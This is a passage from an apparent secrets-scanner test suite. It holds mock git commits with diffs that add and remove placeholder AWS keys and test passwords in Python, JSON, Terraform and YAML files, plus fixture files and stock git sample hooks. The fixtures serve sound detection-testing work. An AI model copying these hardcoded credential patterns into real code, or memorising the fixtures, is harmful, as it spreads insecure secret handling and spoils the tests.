@@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n    #         'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n    #         'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n    #     }\n    # )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='d76977ac656abdaa77a7791a11adfb96efb48a35',\n            committer='🍕🍕pizza',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'test3.py': 'diff --git a/test3.py b/test3.py\\nindex 0000..0000 0000\\n--- a/test3.py\\n+++ b/test3.py\\n@@ -1,4 +1,4 @@\\n-\\n+AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c211bfc4ae4514627f104ce0bf664dd9521d9c16',\n            committer='🍕🍕pizza',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'test3.py': 'diff --git a/test3.py b/test3.py\\nindex 0000..0000 0000\\n--- a/test3.py\\n+++ b/test3.py\\n@@ -1,4 +1,5 @@\\n AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n if __name__ == \\'__main__\\':\\n+    AWS_ACCESS_KEY_ID = \"AKIAZZZZZZZZZZZZZZZZ\"\\n     print(\\'test\\')\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='8d96e18c1c924ba396211bf2d4fdd8d2418b8420',\n            committer='🍕🍕pizza',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        files={\n            'test3.py': 'diff --git a/test3.py b/None\\nindex 0000..0000 0000\\n--- a/test3.py\\n+++ b/None\\n@@ -1,5 +0,0 @@\\n-AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n-\\n-if __name__ == \\'__main__\\':\\n-    AWS_ACCESS_KEY_ID = \"AKIAZZZZZZZZZZZZZZZZ\"\\n-    print(\\'test\\')\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter_remove_file_with_two_secret(repo: Repo, root_folder: str, git_commits: List[Any],\n                                                           is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='f0d117c1d65e90d4d6d7a1b6aaf4e23f4fd33b82',\n            committer='🍻2secrets',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,3 +1,4 @@\\n+AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n if __name__ == \\'__main__\\':\\n \\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='1166ee830a03f6721fb8cba794496ee82895a0ba',\n            committer='🍻2secrets',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,5 +1,5 @@\\n AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n if __name__ == \\'__main__\\':\\n-\\n+    TEST_PASSWORD_1 = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\\n     print(\\'test\\')\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='bdb3678fc44702132fa7d661a1c425e65c1e9dde',\n            committer='🍻2secrets',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        files={\n            'main.py': 'diff --git a/main.py b/None\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/None\\n@@ -1,5 +0,0 @@\\n-AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n-\\n-if __name__ == \\'__main__\\':\\n-    TEST_PASSWORD_1 = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\\n-    print(\\'test\\')\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter_multiline_json(repo: Repo, root_folder: str, git_commits: List[Any],\n                                              is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='6b99e255555eacbd5f79a4efe77dcacdc63ed10f',\n            committer='🍽multiline_json',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'test-multiline-secrets.json': 'diff --git a/None b/test-multiline-secrets.json\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/test-multiline-secrets.json\\n@@ -0,0 +1,30 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_3\",\\n+      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_4\",\\n+      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_LONG_1\",\\n+      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_no_password\",\\n+      \"value\": \"RandomP@ssw0rd\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter_multiline_terraform(repo: Repo, root_folder: str, git_commits: List[Any],\n                                                   is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='6bee3eb2f69e06095395ae1d54c810c3a2a99841',\n            committer='🥢multiline_terraform',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'secret_test.tf': 'diff --git a/secret_test.tf b/secret_test.tf\\nindex 0000..0000 0000\\n--- a/secret_test.tf\\n+++ b/secret_test.tf\\n@@ -0,0 +1,79 @@\\n+resource \"kubernetes_pod_v1\" \"test\" {\\n+  metadata {\\n+    name = \"terraform-example\"\\n+  }\\n+\\n+  spec {\\n+    container {\\n+      image = \"nginx:1.21.6\"\\n+      name  = \"example\"\\n+\\n+      env {\\n+        name  = \"SOME_NAME\"\\n+        value = \"some_value\"\\n+      }\\n+      # name1 & value1 are not valid arguments\\n+      env {\\n+        value  = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\\n+        name = \"TEST_PASSWORD_1\"\\n+        name1 = \"TEST_PASSWORD_2\"\\n+        value1 = \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\\n+      }\\n+      env {\\n+        name  = \"TEST_PASSWORD_3\"\\n+        // comment 1\\n+        // comment 2\\n+        // comment 3\\n+        value = \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+      }\\n+      env {\\n+        value = \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\\n+        # comment 1\\n+        name  = \"TEST_PASSWORD_4\"\\n+      }\\n+      env {\\n+        name  = \"TEST_PASSWORD_LONG_1\"\\n+        value = \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\\n+      }\\n+      env {\\n+        name  = \"TEST_PASSWORD_no_password\"\\n+        value = \"RandomP@ssw0rd\"\\n+      }\\n+\\n+      port {\\n+        container_port = 80\\n+      }\\n+\\n+      liveness_probe {\\n+        http_get {\\n+          path = \"/\"\\n+          port = 80\\n+\\n+          http_header {\\n+            name  = \"X-Custom-Header\"\\n+            value = \"Awesome\"\\n+          }\\n+        }\\n+\\n+        initial_delay_seconds = 3\\n+        period_seconds        = 3\\n+      }\\n+    }\\n+\\n+    dns_config {\\n+      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\\n+      searches    = [\"example.com\"]\\n+\\n+      option {\\n+        name  = \"ndots\"\\n+        value = 1\\n+      }\\n+\\n+      option {\\n+        name = \"use-vc\"\\n+      }\\n+    }\\n+\\n+    dns_policy = \"None\"\\n+  }\\n+}\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter_multiline_yml(repo: Repo, root_folder: str, git_commits: List[Any],\n                                             is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='cee6ad9d172ff447bd0afe8a478348b3ed6d3734',\n            committer='🥢multiline_yml',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'test-multiline-secrets.yml': 'diff --git a/None b/test-multiline-secrets.yml\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/test-multiline-secrets.yml\\n@@ -0,0 +1,15 @@\\n+spec:\\n+  - name: SOME_NAME\\n+    value: some_value\\n+  - value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\\n+    name: TEST_PASSWORD_1\\n+    name1: TEST_PASSWORD_2\\n+    value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\\n+  - name: TEST_PASSWORD_3\\n+    value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\\n+  - name: TEST_PASSWORD_4\\n+    value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\\n+  - name: TEST_PASSWORD_LONG_1\\n+    value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\\n+  - name: TEST_PASSWORD_no_password\\n+    value: RandomP@ssw0rd\\n'}\n    )\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/README.md",
    "content": "just for example testing\n\nthe .git dir was changed to git_to_change in order to push it to the repo without creating a sub module\nin the test we will copy it to a .git and clean it up after that\n\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/foobar.py",
    "content": "\ndef foo():\n    print('foo')\n\ndef bar():\n    print('bar')\n\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/COMMIT_EDITMSG",
    "content": "remove it\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/HEAD",
    "content": "ref: refs/heads/test_git\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/config",
    "content": "[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n\tignorecase = true\n\tprecomposeunicode = true\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/description",
    "content": "Unnamed repository; edit this file 'description' to name the repository.\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/applypatch-msg.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.  The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/commit-msg.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to check the commit log message.\n# Called by \"git commit\" with one argument, the name of the file\n# that has the commit message.  The hook should exit with non-zero\n# status after issuing an appropriate message if it wants to stop the\n# commit.  The hook is allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"commit-msg\".\n\n# Uncomment the below to add a Signed-off-by line to the message.\n# Doing this in a hook is a bad idea in general, but the prepare-commit-msg\n# hook is more suited to it.\n#\n# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\\(.*>\\).*$/Signed-off-by: \\1/p')\n# grep -qs \"^$SOB\" \"$1\" || echo \"$SOB\" >> \"$1\"\n\n# This example catches duplicate Signed-off-by lines.\n\ntest \"\" = \"$(grep '^Signed-off-by: ' \"$1\" |\n\t sort | uniq -c | sed -e '/^[ \t]*1[ \t]/d')\" || {\n\techo >&2 Duplicate Signed-off-by lines.\n\texit 1\n}\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/fsmonitor-watchman.sample",
    "content": "#!/usr/bin/perl\n\nuse strict;\nuse warnings;\nuse IPC::Open2;\n\n# An example hook script to integrate Watchman\n# (https://facebook.github.io/watchman/) with git to speed up detecting\n# new and modified files.\n#\n# The hook is passed a version (currently 2) and last update token\n# formatted as a string and outputs to stdout a new update token and\n# all files that have been modified since the update token. Paths must\n# be relative to the root of the working tree and separated by a single NUL.\n#\n# To enable this hook, rename this file to \"query-watchman\" and set\n# 'git config core.fsmonitor .git/hooks/query-watchman'\n#\nmy ($version, $last_update_token) = @ARGV;\n\n# Uncomment for debugging\n# print STDERR \"$0 $version $last_update_token\\n\";\n\n# Check the hook interface version\nif ($version ne 2) {\n\tdie \"Unsupported query-fsmonitor hook version '$version'.\\n\" .\n\t    \"Falling back to scanning...\\n\";\n}\n\nmy $git_work_tree = get_working_dir();\n\nmy $retry = 1;\n\nmy $json_pkg;\neval {\n\trequire JSON::XS;\n\t$json_pkg = \"JSON::XS\";\n\t1;\n} or do {\n\trequire JSON::PP;\n\t$json_pkg = \"JSON::PP\";\n};\n\nlaunch_watchman();\n\nsub launch_watchman {\n\tmy $o = watchman_query();\n\tif (is_work_tree_watched($o)) {\n\t\toutput_result($o->{clock}, @{$o->{files}});\n\t}\n}\n\nsub output_result {\n\tmy ($clockid, @files) = @_;\n\n\t# Uncomment for debugging watchman output\n\t# open (my $fh, \">\", \".git/watchman-output.out\");\n\t# binmode $fh, \":utf8\";\n\t# print $fh \"$clockid\\n@files\\n\";\n\t# close $fh;\n\n\tbinmode STDOUT, \":utf8\";\n\tprint $clockid;\n\tprint \"\\0\";\n\tlocal $, = \"\\0\";\n\tprint @files;\n}\n\nsub watchman_clock {\n\tmy $response = qx/watchman clock \"$git_work_tree\"/;\n\tdie \"Failed to get clock id on '$git_work_tree'.\\n\" .\n\t\t\"Falling back to scanning...\\n\" if $? != 0;\n\n\treturn $json_pkg->new->utf8->decode($response);\n}\n\nsub watchman_query {\n\tmy $pid = open2(\\*CHLD_OUT, \\*CHLD_IN, 'watchman -j --no-pretty')\n\tor die \"open2() failed: $!\\n\" .\n\t\"Falling back to scanning...\\n\";\n\n\t# In the query expression below we're asking for names of files that\n\t# changed since $last_update_token but not from the .git folder.\n\t#\n\t# To accomplish this, we're using the \"since\" generator to use the\n\t# recency index to select candidate nodes and \"fields\" to limit the\n\t# output to file names only. Then we're using the \"expression\" term to\n\t# further constrain the results.\n\tmy $last_update_line = \"\";\n\tif (substr($last_update_token, 0, 1) eq \"c\") {\n\t\t$last_update_token = \"\\\"$last_update_token\\\"\";\n\t\t$last_update_line = qq[\\n\"since\": $last_update_token,];\n\t}\n\tmy $query = <<\"\tEND\";\n\t\t[\"query\", \"$git_work_tree\", {$last_update_line\n\t\t\t\"fields\": [\"name\"],\n\t\t\t\"expression\": [\"not\", [\"dirname\", \".git\"]]\n\t\t}]\n\tEND\n\n\t# Uncomment for debugging the watchman query\n\t# open (my $fh, \">\", \".git/watchman-query.json\");\n\t# print $fh $query;\n\t# close $fh;\n\n\tprint CHLD_IN $query;\n\tclose CHLD_IN;\n\tmy $response = do {local $/; <CHLD_OUT>};\n\n\t# Uncomment for debugging the watch response\n\t# open ($fh, \">\", \".git/watchman-response.json\");\n\t# print $fh $response;\n\t# close $fh;\n\n\tdie \"Watchman: command returned no output.\\n\" .\n\t\"Falling back to scanning...\\n\" if $response eq \"\";\n\tdie \"Watchman: command returned invalid output: $response\\n\" .\n\t\"Falling back to scanning...\\n\" unless $response =~ /^\\{/;\n\n\treturn $json_pkg->new->utf8->decode($response);\n}\n\nsub is_work_tree_watched {\n\tmy ($output) = @_;\n\tmy $error = $output->{error};\n\tif ($retry > 0 and $error and $error =~ m/unable to resolve root .* directory (.*) is not watched/) {\n\t\t$retry--;\n\t\tmy $response = qx/watchman watch \"$git_work_tree\"/;\n\t\tdie \"Failed to make watchman watch '$git_work_tree'.\\n\" .\n\t\t    \"Falling back to scanning...\\n\" if $? != 0;\n\t\t$output = $json_pkg->new->utf8->decode($response);\n\t\t$error = $output->{error};\n\t\tdie \"Watchman: $error.\\n\" .\n\t\t\"Falling back to scanning...\\n\" if $error;\n\n\t\t# Uncomment for debugging watchman output\n\t\t# open (my $fh, \">\", \".git/watchman-output.out\");\n\t\t# close $fh;\n\n\t\t# Watchman will always return all files on the first query so\n\t\t# return the fast \"everything is dirty\" flag to git and do the\n\t\t# Watchman query just to get it over with now so we won't pay\n\t\t# the cost in git to look up each individual file.\n\t\tmy $o = watchman_clock();\n\t\t$error = $output->{error};\n\n\t\tdie \"Watchman: $error.\\n\" .\n\t\t\"Falling back to scanning...\\n\" if $error;\n\n\t\toutput_result($o->{clock}, (\"/\"));\n\t\t$last_update_token = $o->{clock};\n\n\t\teval { launch_watchman() };\n\t\treturn 0;\n\t}\n\n\tdie \"Watchman: $error.\\n\" .\n\t\"Falling back to scanning...\\n\" if $error;\n\n\treturn 1;\n}\n\nsub get_working_dir {\n\tmy $working_dir;\n\tif ($^O =~ 'msys' || $^O =~ 'cygwin') {\n\t\t$working_dir = Win32::GetCwd();\n\t\t$working_dir =~ tr/\\\\/\\//;\n\t} else {\n\t\trequire Cwd;\n\t\t$working_dir = Cwd::cwd();\n\t}\n\n\treturn $working_dir;\n}\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/post-update.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to prepare a packed repository for use over\n# dumb transports.\n#\n# To enable this hook, rename this file to \"post-update\".\n\nexec git update-server-info\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-applypatch.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-commit.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed.\n# Called by \"git commit\" with no arguments.  The hook should\n# exit with non-zero status after issuing an appropriate message if\n# it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-commit\".\n\nif git rev-parse --verify HEAD >/dev/null 2>&1\nthen\n\tagainst=HEAD\nelse\n\t# Initial commit: diff against an empty tree object\n\tagainst=$(git hash-object -t tree /dev/null)\nfi\n\n# If you want to allow non-ASCII filenames set this variable to true.\nallownonascii=$(git config --type=bool hooks.allownonascii)\n\n# Redirect output to stderr.\nexec 1>&2\n\n# Cross platform projects tend to avoid non-ASCII filenames; prevent\n# them from being added to the repository. We exploit the fact that the\n# printable range starts at the space character and ends with tilde.\nif [ \"$allownonascii\" != \"true\" ] &&\n\t# Note that the use of brackets around a tr range is ok here, (it's\n\t# even required, for portability to Solaris 10's /usr/bin/tr), since\n\t# the square bracket bytes happen to fall in the designated range.\n\ttest $(git diff --cached --name-only --diff-filter=A -z $against |\n\t  LC_ALL=C tr -d '[ -~]\\0' | wc -c) != 0\nthen\n\tcat <<\\EOF\nError: Attempt to add a non-ASCII file name.\n\nThis can cause problems if you want to work with people on other platforms.\n\nTo be portable it is advisable to rename the file.\n\nIf you know what you are doing you can disable this check using:\n\n  git config hooks.allownonascii true\nEOF\n\texit 1\nfi\n\n# If there are whitespace errors, print the offending file names and fail.\nexec git diff-index --check --cached $against --\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-merge-commit.sample",
